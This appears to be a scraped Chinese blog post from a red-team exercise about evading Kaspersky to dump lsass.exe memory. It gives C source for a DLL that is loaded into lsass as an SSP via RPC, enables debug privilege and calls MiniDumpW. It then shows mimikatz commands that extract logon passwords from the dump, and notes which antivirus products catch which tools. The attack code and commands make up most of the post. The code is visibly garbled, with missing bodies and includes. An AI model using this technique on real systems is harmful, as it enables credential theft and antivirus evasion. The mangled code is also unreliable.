繞過卡巴斯基等殺軟抓取 lsass 記憶體踩坑

2022-06-26 18:39:13 字數 3168 閱讀 7192

正常的 ssp 擴充套件(dll)可以載入到 lsass 程序中去,比如 kerberos 驗證都是通重載入 kerberos.dll (它就是一種 ssp)呼叫 sspi 來進行驗證,所以我們就可以控制載入乙個我們自己的 dll 執行惡意**從而 dump hash,但是殺軟肯定會對常規 ssp 擴充套件載入進行檢測,所以看了 xpn 的文章,可以通過 rpc控制 lsass.exe 進而載入 ssp 擴充套件。

最近與公司大佬打了一波攻防演練,讓我抓個密碼,dump 記憶體下來,以為是有卡巴等殺軟保護了 lsass 所以抓不到,就嘗試復現了一下網上大佬的通過 rpc 呼叫新增乙個 ssp dll 讓 lsass 中自己抓自己的記憶體的騷操作,其中踩坑無數,做一下記錄。

參考:繞過卡巴斯基橫向移動

#include #include #include #include #include #pragma comment(lib,"dbghelp.lib")

typedef hresult(winapi* _minidumpw)(

dword arg1, dword arg2, pwchar cmdline);

typedef ntstatus(winapi* _rtladjustprivilege)(

ulong privilege, bool enable,

bool currentthread, pulong enabled);

int dump()

// try enable debug privilege

rtladjustprivilege(20, true, false, &t);

wchar_t ws[100];

swprintf(ws, 100, l"%hs", "784 c:\\1.bin full"); //784是lsass程序的pid號 "full"

minidumpw(0, 0, ws);

return 0;

}bool apientry dllmain(hmodule hmodule, dword ul_reason_for_call, lpvoid lpreserved)

return true;

}

但是我使用 ateam 的**進行 dump 記憶體,發現編譯了後有時候 dump 不下來,後經過修改找到了乙個自動獲取 lsass 的 pid 的**:

#include #include #include #include #include #pragma comment(lib,"dbghelp.lib")

typedef hresult(winapi* _minidumpw)(

dword arg1, dword arg2, pwchar cmdline);

typedef ntstatus(winapi* _rtladjustprivilege)(

ulong privilege, bool enable,

bool currentthread, pulong enabled);

char* wchartochar(wchar_t* wc)

dword id(const char* pname)

processentry32 pe = ;

for (bool ret = process32first(hsnapshot, &pe); ret; ret = process32next(hsnapshot, &pe))

} closehandle(hsnapshot);

return 0;

}int dump()

// try enable debug privilege

rtladjustprivilege(20, true, false, &t);

wchar_t ws[100];

dword pid = id("lsass.exe");

swprintf(ws, 100, l"%u %hs", pid, "c:\\1.bin full"); //784是lsass程序的pid號 "full"

minidumpw(0, 0, ws);

return 0;

}bool apientry dllmain(hmodule hmodule, dword ul_reason_for_call, lpvoid lpreserved)

return true;

}

修改配置型別為.dll,使用 unicode 編碼字符集,就可以編譯

接下來可以看看效果

procdump是會被卡巴斯基攔截的,拒絕訪問

但是 360 什麼的是沒問題的

但是我們用 rpc 呼叫注入 dll 是可以成功 dump 下記憶體。

ssp.exe 絕對路徑\dllinject.dll

接下來就是常規操作讀記憶體

mimikatz # sekurlsa::minidump 1.bin

mimikatz # sekurlsa::logonpasswords full

直接被殺了,不需要試了

在查詢資料的過程中發現乙個號稱可以過殺軟讀記憶體的 sharpdump ,我們也可以看看能不能過卡巴斯基,和 mimikatz 一樣,直接被殺了

但是可以過 360

繞過卡巴斯基通過RPC控制lsass注入DLL

原理 正常的ssp擴充套件 dll 可以載入到lsass程序中去,比如kerberos驗證都是通重載入kerberos.dll 它就是一種ssp 呼叫sspi來進行驗證,所以我們就可以控制載入乙個我們自己的dll執行惡意 從而dump hash,但是殺軟肯定會對常規ssp擴充套件載入進行檢測,所以看...

卡巴斯基阻塞網路?

一直都鍾情於卡巴斯基的防毒軟體。從以前的5版本用到現在的2009,見證了它的變化。個人感覺是版本5當初進入中國時,是特別耗費資源的,後來的版本應該說徹底解決問題了,抑或是我電腦效能變好了?基本都是用的卡巴正版。這次的2009,我也是買了一年正版全功能,但最近發現些許問題,就是開了卡巴,不能連線伺服器...

卡巴斯基淨惹禍了

前段時間在eclipse中進行checkout原始碼的時候,突然不能夠進行checkout,總是斷開,老是報錯,進行了反覆的檢查也沒有找到問題。後來沒有別的辦法了,只有求助同事了,同事一看,還不錯,原來他以前也遇到過這個問題,但是他的解決方法比較老了一些,把卡巴關了,再進行checkout就行了,說...